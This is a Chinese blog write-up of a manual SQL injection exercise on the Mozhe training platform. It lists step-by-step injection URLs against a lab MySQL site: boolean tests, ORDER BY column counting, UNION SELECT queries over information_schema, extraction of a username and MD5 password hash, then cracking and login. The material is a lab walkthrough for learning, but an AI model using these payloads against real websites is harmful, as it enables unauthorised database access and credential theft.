[墨者]SQL手工注入漏洞测试(MySQL数据库)

在这里插入图片描述第一步——判断
http://219.153.49.228:46763/new_list.php?id=1' 无法显示
http://219.153.49.228:46763/new_list.php?id=1 and 1=1 可以显示
http://219.153.49.228:46763/new_list.php?id=1 and 1=2 无法显示
满足以上条件的可能存在数字型注入。

第二步——Order by
http://219.153.49.228:46763/new_list.php?id=1 order by 1 正常
http://219.153.49.228:46763/new_list.php?id=1 order by 2 正常
http://219.153.49.228:46763/new_list.php?id=1 order by 3 正常
http://219.153.49.228:46763/new_list.php?id=1 order by 4 正常
http://219.153.49.228:46763/new_list.php?id=1 order by 5 不正常

经过尝试之后发现列数为4

第三步——UNION查询
http://219.153.49.228:46763/new_list.php?id=1 union select 1,2,3,4
不过很遗憾,页面显示正常。
在这里插入图片描述于是把id=1改成id=-1
在这里插入图片描述找到注入点

第四步——获取元数据

  1. 得到数据库名 mozhe_Discuz_StormGroup
    http://219.153.49.228:46763/new_list.php?id=-1 union select 1,database(),3,4
    在这里插入图片描述
  2. 获取表名 StormGroup_member
    http://219.153.49.228:46763/new_list.php?id=-1 union select 1,database(),(select table_name from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1),4
    在这里插入图片描述
  3. 查询字段
    (1)
    http://219.153.49.228:46763/new_list.php?id=-1 union select 1,database(),(select column_name from information_schema.columns where table_name='StormGroup_member' limit 0,1),4
    在这里插入图片描述显示出的第一个字段为id,更改limit 0,1中的0,可以得到后面的字段,得到namepassword

(2)得到用户名和密码
select xxx from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
http://219.153.49.228:46763/new_list.php?id=-1 union select 1,(select name from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1),(select password from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1),4
在这里插入图片描述得到用户名和密码,但是密码被MD5加密,所以破解一下
在这里插入图片描述登录发现用户不对
改变密码的limit,得到正确密码

发布了22 篇原创文章 · 获赞 1 · 访问量 859

猜你喜欢

转载自blog.csdn.net/weixin_43651049/article/details/103954986